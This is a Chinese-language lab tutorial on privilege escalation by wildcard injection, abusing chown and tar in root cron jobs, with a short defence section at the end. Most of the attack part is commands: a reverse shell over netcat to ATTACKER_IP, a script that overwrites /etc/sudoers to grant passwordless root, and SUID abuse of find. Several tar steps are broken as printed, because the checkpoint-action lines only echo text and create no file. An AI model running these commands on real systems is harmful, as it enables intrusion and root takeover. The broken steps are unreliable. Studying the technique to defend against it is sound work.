权限提升之通配符注入
字数 1025 2025-09-01 11:26:11
通配符注入权限提升技术详解
一、通配符基础
通配符是UNIX/Linux系统中用于匹配文件名模式的特殊字符,shell在执行命令前会先解释这些通配符:
*:匹配任意数量字符(包括零个字符)?:匹配任意单个字符[]:匹配指定字符集中的单个字符{}:组合多个选项生成唯一字符串~:表示用户主目录
二、通配符注入原理
当文件名以-开头时,许多UNIX工具会将其解释为命令行选项而非文件名,这可能导致安全问题。
示例:通配符狂野(Wildcard Wildness)
mkdir wild
cd wild
echo "Hello Friends" > file1
echo "This is Wildcard Injection" > file2
echo "take help" > --help
执行cat *时:
- 前两个文件正常显示
--help文件会被cat命令解释为-help选项,显示帮助信息而非文件内容
三、通过chown劫持文件所有权
攻击场景
-
系统中有多个用户:
- root:超级用户
- raj:普通用户,拥有若干PHP文件
- aarti:普通用户
- ignite:恶意用户
-
恶意用户执行:
echo "" > my.php
echo > --reference=my.php
- 当root用户执行:
chown -R aarti:aarti *.php
攻击原理
--reference=my.php被chown解释为选项而非文件名,导致所有PHP文件的所有权被设置为与my.php相同(即ignite用户)
四、通过tar进行权限提升
第一阶段攻击:利用crontab
实验设置:
# 设置定时任务
nano /etc/crontab
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
攻击步骤:
- 生成反向shell:
msfvenom -p cmd/unix/reverse_netcat lhost=ATTACKER_IP lport=8888 R
- 在目标机器上:
echo "mkfifo /tmp/lhennp; nc ATTACKER_IP 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
原理:
--checkpoint=1和--checkpoint-action=exec=sh shell.sh被tar解释为选项- 当cron以root身份执行tar时,会执行我们的恶意脚本
第二阶段攻击:利用脚本中的tar
实验设置:
mkdir /tmp/data
chmod 777 /tmp/data
cd /tmp/data
echo "" > f1
echo "" > f2
echo "" > f3
mkdir /info
cd /info
nano script.sh
chmod 777 script.sh
script.sh内容:
#!/bin/bash
cd /tmp/data
tar cf /info/backup.tgz *
设置crontab:
*/1 * * * * root /info/script.sh
攻击方法:
与第一阶段相同,在/tmp/data目录中创建恶意文件
五、其他攻击方法
方法一:添加用户到sudoers文件
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "checkpoint-action=exec=sh demo.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
1分钟后,ignite用户将获得root权限
方法二:设置SUID权限
echo "chmod u+s /usr/bin/find" > test.sh
echo "checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
# 利用SUID find
find f1 -exec "/bin/sh" \;
六、防御措施
- 避免在root cronjob中使用通配符
- 在脚本中使用
--选项终止参数解析:tar cf archive.tar -- * - 检查文件名是否包含可疑字符
- 使用绝对路径执行命令
- 限制cronjob的权限范围
七、总结
通配符注入是一种利用UNIX工具对命令行参数和文件名处理方式的漏洞进行权限提升的技术。通过精心构造恶意文件名,攻击者可以:
- 劫持文件所有权
- 执行任意命令
- 获取root权限
- 修改系统配置
系统管理员应特别注意cronjob中使用通配符的情况,并采取适当的防御措施。